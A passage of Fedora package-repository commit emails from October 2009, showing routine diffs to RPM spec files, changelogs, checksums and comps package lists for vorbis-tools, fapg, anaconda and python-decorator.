 License:	GPLv2
 URL:		http://www.xiph.org/
 Source:		http://www.xiph.org/ogg/vorbis/download/%{name}-%{version}.tar.gz
 Patch0:		vorbis-tools-1.2.0-non-block.patch
+Patch1:		vorbis-tools-1.2.0-oggenc-resample.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libvorbis-devel libao-devel curl-devel speex-devel flac-devel
 Obsoletes:	vorbis < %{epoch}:%{version}-%{release}
@@ -24,7 +25,8 @@ comment editor.
 
 %prep
 %setup -q
-%patch0 -p1 -b .non-block
+%patch0 -p1
+%patch1 -p1
 
 %build
 %configure
@@ -49,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Kamil Dudka <kdudka at redhat.com> - 1:1.2.0-6
+- upstream patch fixing crash of oggenc --resample (#526653)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.2.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From salimma at fedoraproject.org  Tue Oct  6 19:53:14 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue,  6 Oct 2009 19:53:14 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/devel .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091006195314.E5F3C11C00C1@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1570

Modified Files:
	.cvsignore sources 
Log Message:
Commit font TTF to devel branch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:32:17 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:53:14 -0000	1.2
@@ -0,0 +1 @@
+dalles_-_SMonohand.ttf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-smonohand-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:32:17 -0000	1.1
+++ sources	6 Oct 2009 19:53:14 -0000	1.2
@@ -0,0 +1 @@
+ed57503247413a2ca38cdb12d9477a24  dalles_-_SMonohand.ttf



From roma at fedoraproject.org  Tue Oct  6 19:53:24 2009
From: roma at fedoraproject.org (Paulo Roma Cavalcanti)
Date: Tue,  6 Oct 2009 19:53:24 +0000 (UTC)
Subject: rpms/fapg/F-11 fapg.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006195324.DD30211C00C1@cvs1.fedora.phx.redhat.com>

Author: roma

Update of /cvs/pkgs/rpms/fapg/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1590/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	fapg.spec import.log 
Log Message:
Initial Fedora version.



--- NEW FILE fapg.spec ---
Name:       fapg
Version:    0.41
Release:    2%{?dist}
License:    GPLv2+
Summary:    Fast Audio Playlist Generator
URL:        http://royale.zerezo.com/fapg/
Group:      Applications/Multimedia
Source:     http://royale.zerezo.com/fapg/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires: uriparser-devel

%description
FAPG means Fast Audio Playlist Generator.
It is a tool to generate list of audio files (Wav, MP3, Ogg, etc)
in various formats (M3U, PLS, HTML, etc).
It is very useful if you have a large amount of audio files 
and you want to quickly and frequently build a playlist.

It is coded in C to be as fast as possible, and does not use 
any specific audio library (like ID3Lib).
This allow you to deploy it faster and easier, and to have 
better performances since the less informations are loaded.
In the other hand, this tool is not (yet) compatible with 
all the known formats.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
%makeinstall

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc AUTHORS ChangeLog COPYING README
%{_bindir}/%{name}
%{_mandir}/man1/%{name}.1*

%changelog
* Fri Oct 02 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-2
- Fixed license.

* Sat May 17 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-1
- First spec file.



--- NEW FILE import.log ---
fapg-0_41-2_fc10:F-11:fapg-0.41-2.fc10.src.rpm:1254858763


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:42:52 -0000	1.1
+++ .cvsignore	6 Oct 2009 19:53:24 -0000	1.2
@@ -0,0 +1 @@
+fapg-0.41.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:42:52 -0000	1.1
+++ sources	6 Oct 2009 19:53:24 -0000	1.2
@@ -0,0 +1 @@
+64be7045dfc0874a831e7d5fb5c435a4  fapg-0.41.tar.gz



From kdudka at fedoraproject.org  Tue Oct  6 19:55:26 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue,  6 Oct 2009 19:55:26 +0000 (UTC)
Subject: rpms/vorbis-tools/F-11 vorbis-tools-1.2.0-oggenc-resample.patch,
	NONE, 1.1 vorbis-tools.spec, 1.36, 1.37
Message-ID: <20091006195526.5267D11C00C1@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/vorbis-tools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2410

Modified Files:
	vorbis-tools.spec 
Added Files:
	vorbis-tools-1.2.0-oggenc-resample.patch 
Log Message:
- upstream patch fixing crash of oggenc --resample (#526653)

vorbis-tools-1.2.0-oggenc-resample.patch:
 oggenc.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE vorbis-tools-1.2.0-oggenc-resample.patch ---
diff -rup vorbis-tools-1.2.0.orig/oggenc/oggenc.c vorbis-tools-1.2.0/oggenc/oggenc.c
--- vorbis-tools-1.2.0.orig/oggenc/oggenc.c	2008-03-03 06:37:27.000000000 +0100
+++ vorbis-tools-1.2.0/oggenc/oggenc.c	2009-10-06 21:27:09.398047466 +0200
@@ -147,6 +147,7 @@ int main(int argc, char **argv)
         char *artist=NULL, *album=NULL, *title=NULL, *track=NULL;
         char *date=NULL, *genre=NULL;
         input_format *format;
+        int resampled = 0;
 
         /* Set various encoding defaults */
 
@@ -324,6 +325,8 @@ int main(int argc, char **argv)
 
         if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate) {
             int fromrate = enc_opts.rate;
+
+            resampled = 1;
             enc_opts.resamplefreq = opt.resamplefreq;
             if(setup_resample(&enc_opts)) {
                 errors++;
@@ -369,7 +372,7 @@ int main(int argc, char **argv)
             clear_scaler(&enc_opts);
         if(opt.downmix)
             clear_downmix(&enc_opts);
-        if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate)
+        if(resampled)
             clear_resample(&enc_opts);
 clear_all:
 


Index: vorbis-tools.spec
===================================================================
RCS file: /cvs/extras/rpms/vorbis-tools/F-11/vorbis-tools.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- vorbis-tools.spec	26 Feb 2009 00:48:31 -0000	1.36
+++ vorbis-tools.spec	6 Oct 2009 19:55:26 -0000	1.37
@@ -1,13 +1,14 @@
 Summary:	The Vorbis General Audio Compression Codec tools
 Name:		vorbis-tools
 Version:	1.2.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 Epoch:		1
 Group:		Applications/Multimedia
 License:	GPLv2
 URL:		http://www.xiph.org/
 Source:		http://www.xiph.org/ogg/vorbis/download/%{name}-%{version}.tar.gz
 Patch0:		vorbis-tools-1.2.0-non-block.patch
+Patch1:		vorbis-tools-1.2.0-oggenc-resample.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libvorbis-devel libao-devel curl-devel speex-devel flac-devel
 Obsoletes:	vorbis < %{epoch}:%{version}-%{release}
@@ -24,7 +25,8 @@ comment editor.
 
 %prep
 %setup -q
-%patch0 -p1 -b .non-block
+%patch0 -p1
+%patch1 -p1
 
 %build
 %configure
@@ -49,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Kamil Dudka <kdudka at redhat.com> - 1:1.2.0-5
+- upstream patch fixing crash of oggenc --resample (#526653)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.2.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From roma at fedoraproject.org  Tue Oct  6 20:00:41 2009
From: roma at fedoraproject.org (Paulo Roma Cavalcanti)
Date: Tue,  6 Oct 2009 20:00:41 +0000 (UTC)
Subject: rpms/fapg/F-12 fapg.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006200041.61CE711C0298@cvs1.fedora.phx.redhat.com>

Author: roma

Update of /cvs/pkgs/rpms/fapg/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4398/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	fapg.spec import.log 
Log Message:
Initial fedora version.



--- NEW FILE fapg.spec ---
Name:       fapg
Version:    0.41
Release:    2%{?dist}
License:    GPLv2+
Summary:    Fast Audio Playlist Generator
URL:        http://royale.zerezo.com/fapg/
Group:      Applications/Multimedia
Source:     http://royale.zerezo.com/fapg/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires: uriparser-devel

%description
FAPG means Fast Audio Playlist Generator.
It is a tool to generate list of audio files (Wav, MP3, Ogg, etc)
in various formats (M3U, PLS, HTML, etc).
It is very useful if you have a large amount of audio files 
and you want to quickly and frequently build a playlist.

It is coded in C to be as fast as possible, and does not use 
any specific audio library (like ID3Lib).
This allow you to deploy it faster and easier, and to have 
better performances since the less informations are loaded.
In the other hand, this tool is not (yet) compatible with 
all the known formats.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
%makeinstall

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc AUTHORS ChangeLog COPYING README
%{_bindir}/%{name}
%{_mandir}/man1/%{name}.1*

%changelog
* Fri Oct 02 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-2
- Fixed license.

* Sat May 17 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-1
- First spec file.



--- NEW FILE import.log ---
fapg-0_41-2_fc10:F-12:fapg-0.41-2.fc10.src.rpm:1254859206


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:42:52 -0000	1.1
+++ .cvsignore	6 Oct 2009 20:00:41 -0000	1.2
@@ -0,0 +1 @@
+fapg-0.41.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:42:52 -0000	1.1
+++ sources	6 Oct 2009 20:00:41 -0000	1.2
@@ -0,0 +1 @@
+64be7045dfc0874a831e7d5fb5c435a4  fapg-0.41.tar.gz



From dcantrel at fedoraproject.org  Tue Oct  6 20:05:02 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Tue,  6 Oct 2009 20:05:02 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.675, 1.676 anaconda.spec, 1.825, 
	1.826 sources, 1.809, 1.810
Message-ID: <20091006200502.5125111C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5731

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 13.1-1
- Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
- Have redhat.exec reference generic.prm, not redhat.parm (dcantrell)
- Bring back cio_ignore=all, !0.0.0009 for generic.prm on s390x (#463544)
  (dcantrell)
- Take 70-persistent-net.rules generated at installation (#526322)
  (dcantrell)
- Use $LIBDIR to find the boot-wrapper file. (jkeating)
- formatByDefault: Don't traceback when mountpoint is None (#522609)
  (hdegoede)
- Don't warn /usr should be formatted when "Format as:" is already selected
  (hdegoede)
- Bring up network interface before trying to use it for FCoE (hdegoede)
- DMRaidArray: Don't report no media present when in teared down state
  (hdegoede)
- Wait for udev to settle before trying to find dmraid sets in udev DB
  (hdegoede)
- Implement the double click for free space on the bar view (jgranado)
- Pass only cCB and dcCB to the StripeGraph classes. (jgranado)
- React to a double click on a "free row" in the tree view. (jgranado)
- Create getCurrentDeviceParent function. (jgranado)
- Make sure we don't exceed the 80 character threshold (jgranado)
- Display an LVM graph on the bar view when we click on the VG's free space
  (jgranado)
- Add a free row in the LVM tree view when necessary. (jgranado)
- Reorganize the tree view related to lvm. (jgranado)
- Remove unneeded variable (jgranado)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.675
retrieving revision 1.676
diff -u -p -r1.675 -r1.676
--- .cvsignore	5 Oct 2009 22:26:58 -0000	1.675
+++ .cvsignore	6 Oct 2009 20:05:01 -0000	1.676
@@ -1 +1 @@
-anaconda-13.0.tar.bz2
+anaconda-13.1.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.825
retrieving revision 1.826
diff -u -p -r1.825 -r1.826
--- anaconda.spec	5 Oct 2009 22:26:58 -0000	1.825
+++ anaconda.spec	6 Oct 2009 20:05:01 -0000	1.826
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.0
+Version: 13.1
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -216,6 +216,34 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 13.1-1
+- Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
+- Have redhat.exec reference generic.prm, not redhat.parm (dcantrell)
+- Bring back cio_ignore=all, !0.0.0009 for generic.prm on s390x (#463544)
+  (dcantrell)
+- Take 70-persistent-net.rules generated at installation (#526322)
+  (dcantrell)
+- Use $LIBDIR to find the boot-wrapper file. (jkeating)
+- formatByDefault: Don't traceback when mountpoint is None (#522609)
+  (hdegoede)
+- Don't warn /usr should be formatted when "Format as:" is already selected
+  (hdegoede)
+- Bring up network interface before trying to use it for FCoE (hdegoede)
+- DMRaidArray: Don't report no media present when in teared down state
+  (hdegoede)
+- Wait for udev to settle before trying to find dmraid sets in udev DB
+  (hdegoede)
+- Implement the double click for free space on the bar view (jgranado)
+- Pass only cCB and dcCB to the StripeGraph classes. (jgranado)
+- React to a double click on a "free row" in the tree view. (jgranado)
+- Create getCurrentDeviceParent function. (jgranado)
+- Make sure we don't exceed the 80 character threshold (jgranado)
+- Display an LVM graph on the bar view when we click on the VG's free space
+  (jgranado)
+- Add a free row in the LVM tree view when necessary. (jgranado)
+- Reorganize the tree view related to lvm. (jgranado)
+- Remove unneeded variable (jgranado)
+
 * Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 13.0-1
 - Remove an errant popd. Probably cut/paste error. (jkeating)
 - Only add the .img file to .treeinfo if it exists. (jkeating)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.809
retrieving revision 1.810
diff -u -p -r1.809 -r1.810
--- sources	5 Oct 2009 22:26:58 -0000	1.809
+++ sources	6 Oct 2009 20:05:02 -0000	1.810
@@ -1 +1 @@
-3b0a07b9669617712240b537c06f0626  anaconda-13.0.tar.bz2
+39b2327f1dcca63548c44ee546e0911f  anaconda-13.1.tar.bz2



From roma at fedoraproject.org  Tue Oct  6 20:09:56 2009
From: roma at fedoraproject.org (Paulo Roma Cavalcanti)
Date: Tue,  6 Oct 2009 20:09:56 +0000 (UTC)
Subject: rpms/fapg/devel fapg.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006200956.7D24011C00C1@cvs1.fedora.phx.redhat.com>

Author: roma

Update of /cvs/pkgs/rpms/fapg/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7313/devel

Modified Files:
	.cvsignore sources 
Added Files:
	fapg.spec import.log 
Log Message:
Initial Fedora version.



--- NEW FILE fapg.spec ---
Name:       fapg
Version:    0.41
Release:    2%{?dist}
License:    GPLv2+
Summary:    Fast Audio Playlist Generator
URL:        http://royale.zerezo.com/fapg/
Group:      Applications/Multimedia
Source:     http://royale.zerezo.com/fapg/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires: uriparser-devel

%description
FAPG means Fast Audio Playlist Generator.
It is a tool to generate list of audio files (Wav, MP3, Ogg, etc)
in various formats (M3U, PLS, HTML, etc).
It is very useful if you have a large amount of audio files 
and you want to quickly and frequently build a playlist.

It is coded in C to be as fast as possible, and does not use 
any specific audio library (like ID3Lib).
This allow you to deploy it faster and easier, and to have 
better performances since the less informations are loaded.
In the other hand, this tool is not (yet) compatible with 
all the known formats.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
%makeinstall

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc AUTHORS ChangeLog COPYING README
%{_bindir}/%{name}
%{_mandir}/man1/%{name}.1*

%changelog
* Fri Oct 02 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-2
- Fixed license.

* Sat May 17 2008 Paulo Roma <roma at lcg.ufrj.br> 0.41-1
- First spec file.



--- NEW FILE import.log ---
fapg-0_41-2_fc10:HEAD:fapg-0.41-2.fc10.src.rpm:1254859765


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:42:52 -0000	1.1
+++ .cvsignore	6 Oct 2009 20:09:56 -0000	1.2
@@ -0,0 +1 @@
+fapg-0.41.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fapg/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:42:52 -0000	1.1
+++ sources	6 Oct 2009 20:09:56 -0000	1.2
@@ -0,0 +1 @@
+64be7045dfc0874a831e7d5fb5c435a4  fapg-0.41.tar.gz



From dcantrel at fedoraproject.org  Tue Oct  6 20:24:19 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Tue,  6 Oct 2009 20:24:19 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.675, 1.676 anaconda.spec, 1.825,
	1.826 sources, 1.809, 1.810
Message-ID: <20091006202419.1526D11C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13592

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 12.34-1
- Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
- Use $LIBDIR to find the boot-wrapper file. (jkeating)
- Have redhat.exec reference generic.prm, not redhat.parm (dcantrell)
- Bring back cio_ignore=all, !0.0.0009 for generic.prm on s390x (#463544)
  (dcantrell)
- Take 70-persistent-net.rules generated at installation (#526322)
  (dcantrell)
- formatByDefault: Don't traceback when mountpoint is None (#522609)
  (hdegoede)
- Don't warn /usr should be formatted when "Format as:" is already selected
  (hdegoede)
- Bring up network interface before trying to use it for FCoE (hdegoede)
- DMRaidArray: Don't report no media present when in teared down state
  (hdegoede)
- Wait for udev to settle before trying to find dmraid sets in udev DB
  (hdegoede)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.675
retrieving revision 1.676
diff -u -p -r1.675 -r1.676
--- .cvsignore	5 Oct 2009 21:58:00 -0000	1.675
+++ .cvsignore	6 Oct 2009 20:24:18 -0000	1.676
@@ -1 +1 @@
-anaconda-12.33.tar.bz2
+anaconda-12.34.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.825
retrieving revision 1.826
diff -u -p -r1.825 -r1.826
--- anaconda.spec	5 Oct 2009 21:58:00 -0000	1.825
+++ anaconda.spec	6 Oct 2009 20:24:18 -0000	1.826
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.33
+Version: 12.34
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,24 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 12.34-1
+- Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
+- Use $LIBDIR to find the boot-wrapper file. (jkeating)
+- Have redhat.exec reference generic.prm, not redhat.parm (dcantrell)
+- Bring back cio_ignore=all, !0.0.0009 for generic.prm on s390x (#463544)
+  (dcantrell)
+- Take 70-persistent-net.rules generated at installation (#526322)
+  (dcantrell)
+- formatByDefault: Don't traceback when mountpoint is None (#522609)
+  (hdegoede)
+- Don't warn /usr should be formatted when "Format as:" is already selected
+  (hdegoede)
+- Bring up network interface before trying to use it for FCoE (hdegoede)
+- DMRaidArray: Don't report no media present when in teared down state
+  (hdegoede)
+- Wait for udev to settle before trying to find dmraid sets in udev DB
+  (hdegoede)
+
 * Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 12.33-1
 - Remove an errant popd. Probably cut/paste error. (jkeating)
 - Only add the .img file to .treeinfo if it exists. (jkeating)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.809
retrieving revision 1.810
diff -u -p -r1.809 -r1.810
--- sources	5 Oct 2009 21:58:00 -0000	1.809
+++ sources	6 Oct 2009 20:24:18 -0000	1.810
@@ -1 +1 @@
-a2e34a6d922ca04ddecb053091455cb6  anaconda-12.33.tar.bz2
+7dea64189e77a2beec9e9ba7097fde49  anaconda-12.34.tar.bz2



From toshio at fedoraproject.org  Tue Oct  6 20:35:58 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Tue,  6 Oct 2009 20:35:58 +0000 (UTC)
Subject: rpms/python-decorator/devel decorator-3.0.1-doctest.patch, 1.1,
	1.2 python-decorator.spec, 1.8, 1.9
Message-ID: <20091006203559.1B36711C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-decorator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18247

Modified Files:
	decorator-3.0.1-doctest.patch python-decorator.spec 
Log Message:

* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-1
- Update to upstream release 3.1.2
- Drop patch included upstream


decorator-3.0.1-doctest.patch:
 documentation.py |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

Index: decorator-3.0.1-doctest.patch
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/devel/decorator-3.0.1-doctest.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- decorator-3.0.1-doctest.patch	22 May 2009 05:24:36 -0000	1.1
+++ decorator-3.0.1-doctest.patch	6 Oct 2009 20:35:56 -0000	1.2
@@ -1,6 +1,7 @@
-diff -up decorator-3.0.1/documentation.py.doctest decorator-3.0.1/documentation.py
---- decorator-3.0.1/documentation.py.doctest	2009-05-21 21:13:24.171482875 -0700
-+++ decorator-3.0.1/documentation.py	2009-05-21 21:59:01.242233871 -0700
+Index: decorator-3.1.2/documentation.py
+===================================================================
+--- decorator-3.1.2.orig/documentation.py
++++ decorator-3.1.2/documentation.py
 @@ -120,7 +120,7 @@ keyword arguments:
  
   >>> from inspect import getargspec 
@@ -46,30 +47,3 @@ diff -up decorator-3.0.1/documentation.p
   >>> exotic_signature() 
   calling exotic_signature with args ((1, 2),), {}
   3
-@@ -281,7 +281,7 @@ can easily check that the signature has 
- .. code-block:: python
- 
-  >>> print getargspec(trace)
-- (['f'], None, None, None)
-+ ArgSpec(args=['f'], varargs=None, keywords=None, defaults=None)
- 
- Therefore now ``trace`` can be used as a decorator and
- the following will work:
-@@ -387,13 +387,13 @@ be locked. Here is a minimalistic exampl
- Each call to ``write`` will create a new writer thread, but there will 
- be no synchronization problems since ``write`` is locked.
- 
-->>> write("data1") 
--<Thread(write-1, started)>
-+>>> write("data1")  # doctest: +ELLIPSIS
-+<Thread(write-1, started...)>
- 
- >>> time.sleep(.1) # wait a bit, so we are sure data2 is written after data1
- 
-->>> write("data2") 
--<Thread(write-2, started)>
-+>>> write("data2") # doctest: +ELLIPSIS
-+<Thread(write-2, started...)>
- 
- >>> time.sleep(2) # wait for the writers to complete
- 


Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/devel/python-decorator.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- python-decorator.spec	26 Jul 2009 20:17:31 -0000	1.8
+++ python-decorator.spec	6 Oct 2009 20:35:57 -0000	1.9
@@ -2,8 +2,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-decorator
-Version:        3.0.1
-Release:        3%{?dist}
+Version:        3.1.2
+Release:        1%{?dist}
 Summary:        Module to simplify usage of decorators
 
 Group:          Development/Languages
@@ -52,6 +52,10 @@ nosetests --with-doctest
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-1
+- Update to upstream release 3.1.2
+- Drop patch included upstream
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Tue Oct  6 20:37:08 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 20:37:08 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.147,1.148 comps-f13.xml.in,1.34,1.35
Message-ID: <20091006203708.E9FC711C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18637

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
kde-desktop: kdebase-workspace-python-applet (default)



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- comps-f12.xml.in	5 Oct 2009 21:52:03 -0000	1.147
+++ comps-f12.xml.in	6 Oct 2009 20:37:06 -0000	1.148
@@ -3640,6 +3640,7 @@
       <packagereq type="default">kdeaccessibility</packagereq>
       <packagereq type="default">kdeartwork-screensavers</packagereq>
       <packagereq type="default">kdebase</packagereq>
+      <packagereq type="default">kdebase-workspace-python-applet</packagereq>
       <packagereq type="default">kdebluetooth</packagereq>
       <packagereq type="default">kdegames</packagereq>
       <packagereq type="default">kdegraphics</packagereq>
@@ -3682,7 +3683,6 @@
       <packagereq type="optional">kdeartwork-sounds</packagereq>
       <packagereq type="optional">kdeartwork-wallpapers</packagereq>
       <packagereq type="optional">kdebase-workspace-googlegadgets</packagereq>
-      <packagereq type="optional">kdebase-workspace-python-applet</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
       <packagereq type="optional">kdeedu</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- comps-f13.xml.in	5 Oct 2009 21:52:03 -0000	1.34
+++ comps-f13.xml.in	6 Oct 2009 20:37:08 -0000	1.35
@@ -3609,6 +3609,7 @@
       <packagereq type="default">kdeaccessibility</packagereq>
       <packagereq type="default">kdeartwork-screensavers</packagereq>
       <packagereq type="default">kdebase</packagereq>
+      <packagereq type="default">kdebase-workspace-python-applet</packagereq>
       <packagereq type="default">kdebluetooth</packagereq>
       <packagereq type="default">kdegames</packagereq>
       <packagereq type="default">kdegraphics</packagereq>
@@ -3651,7 +3652,6 @@
       <packagereq type="optional">kdeartwork-sounds</packagereq>
       <packagereq type="optional">kdeartwork-wallpapers</packagereq>
       <packagereq type="optional">kdebase-workspace-googlegadgets</packagereq>
